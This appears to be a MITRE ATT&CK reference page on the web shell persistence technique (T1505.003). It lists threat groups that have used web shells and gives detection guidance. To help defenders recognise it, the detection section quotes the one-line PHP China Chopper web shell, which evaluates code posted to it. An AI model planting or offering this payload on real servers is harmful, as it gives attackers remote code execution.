Server Software Component: Web Shell

Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.

In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (ex: China Chopper Web shell client).[1]

ID: T1505.003
Sub-technique of:  T1505
Tactic: Persistence
Platforms: Linux, Windows, macOS
System Requirements: Adversary access to Web server with vulnerability or account to upload and serve the Web shell file.
Permissions Required: SYSTEM, User
Data Sources: Authentication logs, File monitoring, Netflow/Enclave netflow, Process monitoring
Version: 1.0
Created: 13 December 2019
Last Modified: 17 April 2020

Procedure Examples

Name Description
APT32

APT32 has used Web shells to maintain access to victim websites.[4]

APT39

APT39 has installed ANTAK and ASPXSPY web shells. [9]

ASPXSpy

ASPXSpy is a Web shell. The ASPXTool version used by Threat Group-3390 has been deployed to accessible servers running Internet Information Services (IIS).[2]

China Chopper

China Chopper's server component is a Web Shell payload.[1]

Deep Panda

Deep Panda uses Web shells on publicly accessible Web servers to access victim networks.[8]

Dragonfly 2.0

Dragonfly 2.0 commonly created Web shells on victims' publicly accessible email and web servers, which they used to maintain access to a victim network and download additional malicious files.[6][7]

Leviathan

Leviathan relies on web shells for an initial foothold as well as persistence into the victim's systems. [10]

OilRig

OilRig has used Web shells, often to maintain access to a victim network.[5][3]

OwaAuth

OwaAuth is a Web shell that appears to be exclusively used by Threat Group-3390. It is installed as an ISAPI filter on Exchange servers and shares characteristics with the China Chopper Web shell.[2]

SEASHARPEE

SEASHARPEE is a Web shell.[3]

Soft Cell

Soft Cell used Web shells to persist in victim environments and assist in execution and exfiltration.[13]

TEMP.Veles

TEMP.Veles has planted Web shells on Outlook Exchange servers.[11]

Threat Group-3390

Threat Group-3390 has used a variety of Web shells.[12]

Tropic Trooper

Tropic Trooper has started a web service in the target host and wait for the adversary to connect, acting as a web shell.[14]

Mitigations

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.

Detection

Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: [1]

<?php @eval($_POST['password']);>

Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd.exe or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. [15]

References